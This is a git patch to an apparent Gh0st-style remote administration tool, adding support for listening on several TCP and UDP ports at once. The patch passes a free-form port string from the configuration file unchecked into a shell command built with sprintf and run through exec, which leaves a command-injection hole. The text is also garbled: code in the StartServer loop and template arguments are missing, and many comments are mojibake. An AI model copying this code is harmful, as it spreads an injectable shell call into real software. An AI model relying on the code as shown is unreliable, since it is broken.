From 763b4f6f2549600d5e35424f7cd1ee75bd389b9d Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Tue, 1 Jul 2025 04:01:10 +0800 Subject: [PATCH] feature: Support listening on multiple ports simultaneously --- client/test.cpp | 6 ++- common/iniFile.h | 8 ++++ server/2015Remote/2015Remote.h | 63 +++++++++++++++++++++++----- server/2015Remote/2015Remote.rc | Bin 85714 -> 85754 bytes server/2015Remote/2015RemoteDlg.cpp | 19 ++++----- server/2015Remote/2015RemoteDlg.h | 2 +- server/2015Remote/Server.h | 1 + server/2015Remote/SettingDlg.cpp | 9 ++-- server/2015Remote/SettingDlg.h | 2 +- 9 files changed, 82 insertions(+), 28 deletions(-) diff --git a/client/test.cpp b/client/test.cpp index 0c06255..363c756 100644 --- a/client/test.cpp +++ b/client/test.cpp @@ -5,6 +5,7 @@ #include #include #include "common/dllRunner.h" +#include #pragma comment(lib, "ws2_32.lib") // 自动启动注册表中的值 @@ -382,8 +383,9 @@ BOOL Run(const char* argv1, int argv2) { port = argv2; } else { - GetPrivateProfileStringA("settings", "master", g_ConnectAddress.ServerIP(), ip, _MAX_PATH, path); - port = GetPrivateProfileIntA("settings", "ghost", g_ConnectAddress.ServerPort(), path); + config cfg; + strcpy_s(path, cfg.GetStr("settings", "master", g_ConnectAddress.ServerIP()).c_str()); + port = cfg.Get1Int("settings", "ghost", ';', 6543); } Mprintf("[server] %s:%d\n", ip, port); do diff --git a/common/iniFile.h b/common/iniFile.h index 29344f9..a7983cc 100644 --- a/common/iniFile.h +++ b/common/iniFile.h @@ -24,6 +24,14 @@ public: return ::GetPrivateProfileIntA(MainKey.c_str(), SubKey.c_str(), nDef, m_IniFilePath); } + // 获取配置项中的第一个整数 + virtual int Get1Int(const std::string& MainKey, const std::string& SubKey, char ch=';', int nDef=0) + { + std::string s = GetStr(MainKey, SubKey, ""); + s = StringToVector(s, ch)[0]; + return s.empty() ? nDef : atoi(s.c_str()); + } + virtual bool SetInt(const std::string& MainKey, const std::string& SubKey, int Data) { std::string strData = std::to_string(Data); diff --git a/server/2015Remote/2015Remote.h b/server/2015Remote/2015Remote.h index f6d7624..f24c0bd 100644 --- a/server/2015Remote/2015Remote.h +++ b/server/2015Remote/2015Remote.h @@ -11,18 +11,52 @@ #include "resource.h" // 主符号 #include "common/iniFile.h" #include "IOCPServer.h" +#include "IOCPUDPServer.h" // CMy2015RemoteApp: // 有关此类的实现,请参阅 2015Remote.cpp // +// ServerPair: +// 一对SOCKET服务端,监听端口: 同时监听TCP和UDP. +class ServerPair +{ +private: + Server* m_tcpServer; + Server* m_udpServer; +public: + ServerPair() : m_tcpServer(new IOCPServer), m_udpServer(new IOCPUDPServer) {} + virtual ~ServerPair() { SAFE_DELETE(m_tcpServer); SAFE_DELETE(m_udpServer); } + + BOOL StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) { + UINT ret1 = m_tcpServer->StartServer(NotifyProc, OffProc, uPort); + UINT ret2 = m_udpServer->StartServer(NotifyProc, OffProc, uPort); + return (ret1 == 0 || ret2 == 0); + } + + void UpdateMaxConnection(int maxConn) { + if (m_tcpServer) m_tcpServer->UpdateMaxConnection(maxConn); + if (m_udpServer) m_udpServer->UpdateMaxConnection(maxConn); + } + + void Destroy() { + if (m_tcpServer) m_tcpServer->Destroy(); + if (m_udpServer) m_udpServer->Destroy(); + } + + void Disconnect(CONTEXT_OBJECT* ctx) { + if (m_tcpServer) m_tcpServer->Disconnect(ctx); + if (m_udpServer) m_udpServer->Disconnect(ctx); + } +}; + class CMy2015RemoteApp : public CWinApp { private: // 配置文件读取器 config* m_iniFile = nullptr; // 服务端容器列表 - std::vector m_iocpServer; + std::vector m_iocpServer; // 互斥锁 HANDLE m_Mutex = nullptr; @@ -38,16 +72,25 @@ public: return m_iniFile; } - // 启动一个服务端,成功返回0 - UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) { - auto svr = new IOCPServer(); - UINT ret = svr->StartServer(NotifyProc, OffProc, uPort); - if (ret != 0) { - SAFE_DELETE(svr); - return ret; + // 启动多个服务端,成功返回0 + // nPort示例: 6543;7543 + UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, const std::string& uPort) { + bool succeed = false; + auto list = StringToVector(uPort, ';'); + for (int i=0; iStartServer(NotifyProc, OffProc, port); + if (ret == FALSE) { + SAFE_DELETE(svr); + continue; + } + succeed = true; + m_iocpServer.push_back(svr); } - m_iocpServer.push_back(svr); - return 0; + + return succeed ? 0 : -1; } // 释放服务端 SOCKET diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index c9aef74b5de53f3a530e4b3ffbc4856073dc498c..80e59695e49176d16b6aa0698b5a3da2b38a5e54 100644 GIT binary patch delta 433 zcmcaKm-W|N)(uIj%!UlclMU7NCr?q;VKkn6P&J*=1W1Zcc2KhuG+;1d&|xrPFaVN< z3}!%;if)FJ52)EdWz2x02$|sevnetD7m}?itr!#-Vi-z*Bmx>T=rLR@(+PQB^*C5R zl`%OxVrHOJq?RAge~r?QP3@^{LEnSff~HK9{vX3o1k??}B^ag{0ZqBtf28hEa6#(6 z?!5Y*Xn`cY5T5^MC+dfAb654p?M!_iEMMx8I=LZ6X0n1Bo1g{I{W?H@7=!&{#9%R* z(Nll&JM}lh5Z@UAeP;pp#X_x_o7*%w7~zt}2+wa`sAbCt3>{Et@#)NfDglNcgE?Hk zqFeA}9^F}z5VJvH1`j)+8dG2hI`&9U4lt{j9HiF+4Mjr+OC z3|C~>CTdb*kH(D zhA;%E&XmD;a-inq$s6=~pguHYutezh)tnsAEH+snjBj$xK9SAq^qcx7U)aepdBGtW TRwJNAMw1U7vfLcAZ{7p|S5aPh diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 9afb1e0..646292a 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -774,8 +774,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog() } // 涓绘帶绋嬪簭鍏綉IP std::string ip = THIS_CFG.GetStr("settings", "master", ""); - std::string port = THIS_CFG.GetStr("settings", "ghost", "6543"); - std::string master = ip.empty() ? "" : ip + ":" + port; + int port = THIS_CFG.Get1Int("settings", "ghost", ';', 6543); + std::string master = ip.empty() ? "" : ip + ":" + std::to_string(port); const Validation* v = GetValidation(); if (!(strlen(v->Admin) && v->Port > 0)) { // IMPORTANT: For authorization only. @@ -1422,7 +1422,7 @@ void CMy2015RemoteDlg::OnOnlineBuildClient() // TODO: 鍦ㄦ娣诲姞鍛戒护澶勭悊绋嬪簭浠g爜 CBuildDlg Dlg; Dlg.m_strIP = THIS_CFG.GetStr("settings", "master", "").c_str(); - int Port = THIS_CFG.GetInt("settings", "ghost"); + int Port = THIS_CFG.Get1Int("settings", "ghost", ';', 6543); Dlg.m_strIP = Dlg.m_strIP.IsEmpty() ? "127.0.0.1" : Dlg.m_strIP; Dlg.m_strPort = Port <= 0 ? "6543" : std::to_string(Port).c_str(); Dlg.DoModal(); @@ -1508,12 +1508,11 @@ void CMy2015RemoteDlg::OnMainExit() BOOL CMy2015RemoteDlg::ListenPort() { - int nPort = THIS_CFG.GetInt("settings", "ghost"); + std::string nPort = THIS_CFG.GetStr("settings", "ghost", "6543"); //璇诲彇ini 鏂囦欢涓殑鐩戝惉绔彛 int nMaxConnection = THIS_CFG.GetInt("settings", "MaxConnection"); //璇诲彇鏈澶ц繛鎺ユ暟 - if (nPort<=0 || nPort>65535) - nPort = 6543; + if (nMaxConnection <= 0) nMaxConnection = 10000; return Activate(nPort,nMaxConnection); //寮濮嬬洃鍚 @@ -1586,14 +1585,14 @@ std::vector splitByNewline(const std::string& input) { return lines; } -BOOL CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection) +BOOL CMy2015RemoteDlg::Activate(const std::string& nPort,int nMaxConnection) { UINT ret = 0; if ( (ret = THIS_APP->StartServer(NotifyProc, OfflineProc, nPort)) !=0 ) { Mprintf("======> StartServer Failed \n"); char cmd[200]; - sprintf_s(cmd, "for /f \"tokens=5\" %%i in ('netstat -ano ^| findstr \":%d \"') do @echo %%i", nPort); + sprintf_s(cmd, "for /f \"tokens=5\" %%i in ('netstat -ano ^| findstr \":%s \"') do @echo %%i", nPort.c_str()); std::string output = exec(cmd); output.erase(std::remove(output.begin(), output.end(), '\r'), output.end()); if (!output.empty()) @@ -1625,7 +1624,7 @@ BOOL CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection) ShowMessage("浣跨敤鎻愮ず", "涓ョ鐢ㄤ簬闈炴硶渚靛叆銆佹帶鍒躲佺洃鍚粬浜鸿澶囩瓑杩濇硶琛屼负"); CString strTemp; - strTemp.Format("鐩戝惉绔彛: %d鎴愬姛", nPort); + strTemp.Format("鐩戝惉绔彛: %s鎴愬姛", nPort.c_str()); ShowMessage("鎿嶄綔鎴愬姛",strTemp); return TRUE; } @@ -2466,7 +2465,7 @@ void CMy2015RemoteDlg::OnToolGenMaster() return; } } - int port = THIS_CFG.GetInt("settings", "ghost"); + int port = THIS_CFG.Get1Int("settings", "ghost", ';', 6543); std::string id = genHMAC(pwdHash, m_superPass); Validation verify(atof(days.m_str), master.c_str(), port<=0 ? 6543 : port, id.c_str()); if (!WritePwdHash(curEXE + iOffset, pwdHash, verify)) { diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 8049f44..537a099 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -169,7 +169,7 @@ public: VOID CreateNotifyBar(); VOID CreateSolidMenu(); BOOL ListenPort(); - BOOL Activate(int nPort,int nMaxConnection); + BOOL Activate(const std::string& nPort,int nMaxConnection); void UpdateActiveWindow(CONTEXT_OBJECT* ctx); void SendMasterSettings(CONTEXT_OBJECT* ctx); VOID SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit); diff --git a/server/2015Remote/Server.h b/server/2015Remote/Server.h index 4845dfe..7a60541 100644 --- a/server/2015Remote/Server.h +++ b/server/2015Remote/Server.h @@ -1,5 +1,6 @@ #pragma once +#include "stdafx.h" #include "common/commands.h" #include "common/header.h" #include "common/encrypt.h" diff --git a/server/2015Remote/SettingDlg.cpp b/server/2015Remote/SettingDlg.cpp index 521abae..200f2a7 100644 --- a/server/2015Remote/SettingDlg.cpp +++ b/server/2015Remote/SettingDlg.cpp @@ -14,7 +14,7 @@ IMPLEMENT_DYNAMIC(CSettingDlg, CDialog) CSettingDlg::CSettingDlg(CWnd* pParent) : CDialog(CSettingDlg::IDD, pParent) - , m_nListenPort(0) + , m_nListenPort("6543") , m_nMax_Connect(0) , m_sScreenCapture(_T("GDI")) , m_sScreenCompress(_T("屏幕差异算法")) @@ -32,6 +32,7 @@ void CSettingDlg::DoDataExchange(CDataExchange* pDX) { CDialog::DoDataExchange(pDX); DDX_Text(pDX, IDC_EDIT_PORT, m_nListenPort); + DDV_MaxChars(pDX, m_nListenPort, 32); DDX_Text(pDX, IDC_EDIT_MAX, m_nMax_Connect); DDX_Control(pDX, IDC_BUTTON_SETTINGAPPLY, m_ApplyButton); DDX_Control(pDX, IDC_COMBO_SCREEN_CAPTURE, m_ComboScreenCapture); @@ -66,7 +67,7 @@ BOOL CSettingDlg::OnInitDialog() IPConverter cvt; m_sPublicIP = THIS_CFG.GetStr("settings", "master", "").c_str(); m_sPublicIP = m_sPublicIP.IsEmpty() ? cvt.getPublicIP().c_str() : m_sPublicIP; - int nPort = THIS_CFG.GetInt("settings", "ghost"); + std::string nPort = THIS_CFG.GetStr("settings", "ghost", "6543"); //读取ini 文件中的监听端口 int nMaxConnection = THIS_CFG.GetInt("settings", "MaxConnection"); @@ -74,7 +75,7 @@ BOOL CSettingDlg::OnInitDialog() CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", "").c_str(); - m_nListenPort = (nPort<=0 || nPort>65535) ? 6543 : nPort; + m_nListenPort = nPort.c_str(); m_nMax_Connect = nMaxConnection<=0 ? 10000 : nMaxConnection; int n = algo.IsEmpty() ? ALGORITHM_DIFF : atoi(algo.GetString()); @@ -129,7 +130,7 @@ void CSettingDlg::OnBnClickedButtonSettingapply() { UpdateData(TRUE); THIS_CFG.SetStr("settings", "master", m_sPublicIP.GetBuffer()); - THIS_CFG.SetInt("settings", "ghost", m_nListenPort); + THIS_CFG.SetStr("settings", "ghost", m_nListenPort.GetString()); //向ini文件中写入值 THIS_CFG.SetInt("settings", "MaxConnection", m_nMax_Connect); diff --git a/server/2015Remote/SettingDlg.h b/server/2015Remote/SettingDlg.h index ec5cd24..e1d0329 100644 --- a/server/2015Remote/SettingDlg.h +++ b/server/2015Remote/SettingDlg.h @@ -20,7 +20,7 @@ protected: DECLARE_MESSAGE_MAP() public: - UINT m_nListenPort; + CString m_nListenPort; UINT m_nMax_Connect; virtual BOOL OnInitDialog(); afx_msg void OnBnClickedButtonSettingapply();